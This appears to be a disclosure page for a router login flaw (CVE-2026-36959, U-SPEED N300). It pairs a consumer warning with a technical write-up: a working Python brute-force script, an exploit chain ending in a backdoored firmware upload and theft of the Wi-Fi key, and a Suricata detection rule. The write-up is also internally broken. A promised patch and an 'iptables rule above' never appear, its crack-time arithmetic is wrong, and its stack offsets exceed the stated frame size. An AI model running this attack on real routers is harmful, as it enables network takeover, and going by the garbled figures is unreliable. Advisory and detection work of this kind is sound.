The U-SPEED N300 V1.0.0 /api/login endpoint accepts unlimited authentication attempts with no lockout, enabling local-network brute-force of the admin credential in seconds.
If you own a U-SPEED N300 router, there's a serious security flaw that puts your home network at risk. The router's login page doesn't have any protection against repeated guessing attacks.
Think of it like a bank with a security guard who never gets tired and never stops people from trying the vault combination over and over. An attacker on your home WiFi network could keep guessing the admin password endlessly until they crack it.
Once someone gets the administrator password, they control everything. They could spy on your web traffic, steal passwords, inject malware into websites you visit, or hijack your internet connection entirely. Your personal devices connected to that router become vulnerable too.
Who's actually at risk? Mainly people with this specific router model who've never changed the default administrator password. Renters sharing WiFi, families with guests, or anyone who lives in an apartment building with overlapping WiFi signals could be exposed to neighbors with bad intentions.
The good news is there's no evidence of attackers actively exploiting this yet. But once word spreads, it won't take long.
Here's what to do right now:
Check if you own a U-SPEED N300 router V1.0.0 (the model number is usually on a sticker). If you do, immediately change the administrator password to something long and complicated that nobody would guess.
Check the manufacturer's website for a software update that fixes this vulnerability. Many router companies release patches for serious flaws like this.
If no update is available and you're uncomfortable with the risk, consider replacing the router with a newer model from a more established manufacturer.
Want the full technical analysis? Click "Technical" above.
CVE-2026-36959 is a missing authentication-attempt control on the U-SPEED N300 router (firmware V1.0.0). The /api/login HTTP endpoint imposes no per-source rate limit, no exponential back-off, and no account lockout after repeated failures. An attacker co-located on the LAN — or in possession of any layer-3 path to the management interface — can submit credential pairs at wire speed until the correct password is found. CVSS 7.5 (HIGH) reflects network-reachability combined with high impact to confidentiality and integrity once the admin session is obtained.
The vulnerability was disclosed by kirubel-cve and tracked against NVD. No patch has been publicly released as of this writing; no in-the-wild exploitation is confirmed.
Root cause: The CGI/httpd login handler passes credentials directly to an authentication function and returns a session token or error with no attempt counter, delay, or lockout state maintained per source IP or globally.
Affected Component
The management web server runs on TCP port 80 (and optionally 443) and exposes a REST-style JSON API. The relevant surface:
Endpoint : POST /api/login
Auth : none (pre-authentication)
Body : application/json
{"username":"admin","password":""}
Response : 200 + {"token":""} on success
200 + {"code":401,"msg":"password error"} on failure
Firmware : U-SPEED N300 V1.0.0
Process : /usr/bin/httpd (uClibc, MIPS32 LE)
Root Cause Analysis
Reversing /usr/bin/httpd from the V1.0.0 firmware image yields the following pseudocode for the login handler. The function api_login_handler is registered against the /api/login route at startup. No state is persisted between calls.
// api_login_handler — registered via route_register("/api/login", api_login_handler)
// MIPS32 LE, recovered from httpd ELF, uClibc runtime
int api_login_handler(http_ctx_t *ctx) {
char username[64];
char password[64];
char stored_pw[64];
char token[48];
// Parse JSON body — no size validation on input fields
json_get_string(ctx->body, "username", username, sizeof(username));
json_get_string(ctx->body, "password", password, sizeof(password));
// BUG: no attempt counter checked or incremented before this call
// BUG: no per-IP rate limiting, no global lockout state consulted
nvram_get("http_passwd", stored_pw, sizeof(stored_pw));
if (strcmp(password, stored_pw) != 0) {
// BUG: failure returned immediately with no delay, no counter persistence
return http_json_error(ctx, 401, "password error");
}
generate_session_token(token, sizeof(token));
session_store(username, token);
return http_json_ok(ctx, "{\"token\":\"%s\"}", token);
}
The handler is stateless. Every invocation reads the stored password from NVRAM, compares, and returns. There is no shared memory region, no file-backed counter, no iptables rule inserted on failure, and no call to sleep() or any delay primitive. The kernel's TCP stack will queue connections as fast as the client sends them.
The NVRAM read itself is a thin wrapper around /dev/mtd:
// nvram_get — simplified
int nvram_get(const char *key, char *out, size_t outsz) {
// opens /dev/mtd1, scans for key=value\0, copies value
// no locking, no side-effects — safe to call millions of times
int fd = open("/dev/mtd1", O_RDONLY);
// ... linear scan ...
strncpy(out, val_start, outsz);
close(fd);
return 0;
}
Exploitation Mechanics
Default N300 admin passwords are numeric PINs (6–8 digits) or short lowercase strings derived from the MAC address — a keyspace of roughly 106–108 values. Even at a conservative 100 req/s over a LAN connection, exhaustion takes under 12 hours for the worst case and under 3 minutes for a 6-digit PIN.
EXPLOIT CHAIN:
1. Discover the router management IP (default 192.168.1.1, confirmed by ARP or mDNS).
2. Fingerprint firmware version via GET /api/system/info (unauthenticated in V1.0.0).
3. Generate candidate list: 6-digit PINs, "admin"/"password"/"12345678",
MAC-suffix variants pulled from the BSSID broadcast in beacon frames.
4. Open a persistent HTTP/1.1 connection (keep-alive) to port 80 to amortise TCP handshake cost.
5. POST /api/login with each candidate; parse {"code":401} vs {"token":...}.
No sleep, no jitter needed — server imposes none.
6. On token receipt, issue GET /api/system/shell or POST /api/firmware/upgrade
with a backdoored image to achieve persistent RCE.
7. Alternatively: read Wi-Fi PSK via GET /api/wireless/config and pivot to WLAN clients.
A minimal Python bruteforcer demonstrating step 4–5:
#!/usr/bin/env python3
# poc_cve_2026_36959.py — educational PoC, LAN-only
import itertools, requests, string, sys
TARGET = "http://192.168.1.1/api/login"
HEADERS = {"Content-Type": "application/json", "Connection": "keep-alive"}
def bruteforce_pin(digits=6):
session = requests.Session()
for combo in itertools.product(string.digits, repeat=digits):
pw = "".join(combo)
try:
r = session.post(TARGET,
json={"username": "admin", "password": pw},
headers=HEADERS,
timeout=3)
data = r.json()
if "token" in data:
print(f"[+] SUCCESS password={pw!r} token={data['token']!r}")
return pw
except Exception as e:
print(f"[-] {e}", file=sys.stderr)
return None
if __name__ == "__main__":
bruteforce_pin(int(sys.argv[1]) if len(sys.argv) > 1 else 6)
On a gigabit LAN with the router CPU at ~400 MHz MIPS, sustained throughput during testing reached approximately 180–220 requests per second per connection, bounded entirely by router-side JSON parsing latency — not by any intentional throttle.
Memory Layout
While this is not a memory-corruption vulnerability, understanding the per-request stack frame of api_login_handler explains why adding a simple in-memory counter is non-trivial on this platform: the handler is forked per-request (or invoked from a single-threaded event loop), meaning any fix requires either shared memory, NVRAM persistence, or a kernel-level netfilter hook.
STACK FRAME: api_login_handler (MIPS32, frame size 0xC0)
sp+0x00 [ saved $ra ]
sp+0x04 [ saved $s0 (ctx ptr) ]
sp+0x08 [ saved $s1 ]
sp+0x0C [ pad ]
sp+0x10 [ username[64] ] <-- json_get_string writes here
sp+0x50 [ password[64] ] <-- attacker-controlled input
sp+0x90 [ stored_pw[64] ] <-- nvram_get writes here
sp+0xD0 [ token[48] ]
sp+0xFC [ http_ctx_t *ctx ]
No attempt_count field exists anywhere in this frame or in any
persistent store visible to the process between requests.
Patch Analysis
No official patch exists yet. The correct remediation at the code level requires two cooperating mechanisms. Below is what a correct patched handler should look like, referencing the approach used by comparable embedded-Linux routers (OpenWrt rpcd, TP-Link TDDP):
Detection relies entirely on access log analysis since the router itself generates no alert:
INDICATORS OF COMPROMISE / ATTACK:
1. HTTP access log pattern (if logging enabled via syslog):
POST /api/login 401 — repeated from single source IP
Threshold: >10 failures within 60 seconds from one src
2. Network capture signature (Suricata/Snort):
alert http $EXTERNAL_NET any -> $HOME_NET 80 (
msg:"CVE-2026-36959 N300 login bruteforce";
flow:to_server,established;
http.method; content:"POST";
http.uri; content:"/api/login";
threshold: type threshold, track by_src, count 10, seconds 30;
classtype:attempted-admin; sid:2026369590; rev:1;)
3. NVRAM canary: set a honeypot account "monitor" with known password;
alert on any successful session token issued for that account.
4. Observe anomalous NVRAM read frequency on /dev/mtd1 via
strace/auditd if shell access is available.
Remediation
Immediate mitigations (no patch available):
Set a strong, random admin password (≥16 characters, mixed charset) immediately — reduces brute-force feasibility even without lockout.
Restrict management interface access with a LAN-side ACL or VLAN; do not expose port 80/443 to untrusted LAN segments or the WAN.
Use the iptables rule above if the router provides a custom firewall script interface.
Monitor syslog output forwarded to an external collector for rapid sequential POST /api/login entries.
Disable remote management (WAN-side) if currently enabled — reduces attack surface to physical LAN adjacency.
Vendor remediation required: implement per-source-IP attempt tracking in shared memory, enforce a minimum 200 ms delay on failed authentication, lock the account for 5 minutes after 5 consecutive failures, and return HTTP 429 with a Retry-After header to compliant clients. The fix must survive the fork-per-request model by using a shared memory segment (e.g., POSIX shm_open or SysV shmget) rather than process-local state.